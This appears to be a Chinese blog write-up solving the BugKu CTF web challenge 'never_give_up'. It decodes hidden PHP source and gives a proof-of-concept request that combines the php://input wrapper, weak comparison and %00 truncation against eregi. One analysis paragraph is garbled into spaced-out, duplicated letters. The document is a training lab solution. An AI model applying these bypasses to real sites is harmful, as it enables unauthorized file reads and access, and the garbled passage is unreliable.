BUGKU-WEB never_give_up_never_give_up bugku

解题步骤

  1. F12查看请求和响应,发现一行注释包含一个文件名称【1p.html】,这应该就是提示了

在这里插入图片描述
2. 去访问这个文件,发现直接跳转到BUGKU首页,有猫腻那就下载看看这个文件内容吧

  • 使用IDM下载这个文件(或者使用爬虫):
import requests
url='http://114.67.175.224:16532//1p.html'
head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0'}
html=requests.get(url,headers=head).text
print(html)

得到1p.html内容如下:
在这里插入图片描述

  • 可以看到script中有一段注释,内容如下:
var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A
%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

  • 这里发现 2个 %3C!-- --%3E:明显是URL编码,第一个解码得到
<script>window.location.href='http://www.bugku.com';</script> 

这是一段js代码,作用就是嵌入在HTML文档中,用于重定向浏览器当前页面到指定的URL——http://www.bugku.com。而 window.location.href 属性是JavaScript的全局对象window的一个属性,它表示当前窗口(浏览器标签页)加载的网页的完整URL。当你给window.location.href赋值时,浏览器会立即导航到指定的新URL。

是不是很奇怪,注释了为什么还可以运行js代码,请看后文知识点

  • 第二个就是中间的内容,使用base64解码后得到:
%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B\*\*\*\*\*\*\*\*\*\*\*%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E

  • 再来一次URL解码
";if(!$\_GET['id'])
{
 header('Location: hello.php?id=1');
 exit();
}
$id=$\_GET['id'];
$a=$\_GET['a'];
$b=$\_GET['b'];
if(stripos($a,'.'))
{
 echo 'no no no no no no no';
 return ;
}
$data = @file\_get\_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
 $flag = "flag{\*\*\*\*\*\*\*\*\*\*\*}"
}
else
{
 print "never never never give up !!!";
}


?>

代码分析:

  1. URL需要有三个参数:id、a、b
  2. 对参数a进行限制:使用stripos函数对a进行处理,意思就是a中不能含有.
  3. $data,使用file_get_contents() 函数对a参数的内容进行读操作,也就是读取a的内容。至于这个@,@ 符号在PHP中用于错误抑制操作,它会阻止该行代码产生的任何错误信息显示出来。如果 $a 指定的文件或URL不存在,或者由于其他原因无法读取,通常PHP会抛出错误信息,但有了 @ 符号,即使发生错误也不会显示错误信息。【忽略报错】
  4. if语句中
    • d a t a = = “ b u g k u i s a n i c e p l a t e f o r m ! ”,表示 d a t a 中要有 b u g k u i s a n i c e p l a t e f o r m ! 字符串,至于这个参数放哪里, e m m , p h p 伪协议 p h p : / / ( 总之,看到 f i l e _ g e t _ c o n t e n t s 就要想到使用 p h p : / / i n p u t ) ,也就是请求中使用 ‘ = p h p : / / i n p u t ‘ . ,然后就可以在 p o s t 中输入 d a t a 的字符串。结合 ‘ data==“bugku is a nice plateform!” ,表示data中要有bugku is a nice plateform!字符串,至于这个参数放哪里,emm,php伪协议 php:// (总之,看到file\_get\_contents就要想到使用php://input),也就是请求中使用 `=php://input`.,然后就可以在post 中输入data的字符串。结合 ` data==bugkuisaniceplateform!,表示data中要有bugkuisaniceplateform!字符串,至于这个参数放哪里,emmphp伪协议php://(总之,看到file_get_contents就要想到使用php://input),也就是请求中使用=php://input‘.,然后就可以在post中输入data的字符串。结合data = @file_get_contents($a,‘r’);,说明参数a就是赋值成伪协议php://input`,具体见后文新知识
    • $id==0,和0弱比较为真,先尝试传参id=0,发现页面会自动跳成id=1,所以,既然0不能用,那和0弱比较为真的就是字符串了,id=输入字母。
    • strlen($b)>5:b的长度要大于5
    • eregi(“111”.substr( b , 0 , 1 ) , “ 1114 ” ) : e r e g i 已经被弃用(有漏洞,这里利用的就是这个漏洞,称为 0 x 00 漏洞,或者 b,0,1),“1114”):eregi已经被弃用(有漏洞,这里利用的就是这个漏洞,称为0x00漏洞,或者%00漏洞),小数点是作为拼接使用,而这里语句表示111和 b,0,1),“1114”)eregi已经被弃用(有漏洞,这里利用的就是这个漏洞,称为0x00漏洞,或者b 中提取的第一个字符拼接,形成一个新的字符串,然后和1114匹配,匹配的话,则返回 true,否则返回 false。
    • 使用%00,那拼接就是1114,不论参数b输入什么都被认为是结束了,所以b=%00你想输入的数字,数字长度大于5就行,如b=%0011111.
    • substr($b,0,1)!=4,进一步限制,提取拼接的不能是4.
  • 结合起来解释就是三个参数,id不能为0,a不能包含小数点,b要使用截断来绕过substr($b,0,1)!=4,最后要匹配成1114。

POC:

GET /hello.php?id=www&a=php://input&b=%0011111 HTTP/1.1
bugku is a nice plateform!



### 最后

**文章到这里就结束了,如果觉得对你有帮助可以点个赞哦**

**[开源分享:【大厂前端面试题解析+核心总结学习笔记+真实项目实战+最新讲解视频】](https://bbs.csdn.net/topics/618166371)**

![](https://img-blog.csdnimg.cn/img_convert/915d53b8986fe996e1b6d3033a48f51a.webp?x-oss-process=image/format,png)

赞哦**

**[开源分享:【大厂前端面试题解析+核心总结学习笔记+真实项目实战+最新讲解视频】](https://bbs.csdn.net/topics/618166371)**

[外链图片转存中...(img-AEoE7FU0-1714255126098)]

  • 29
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值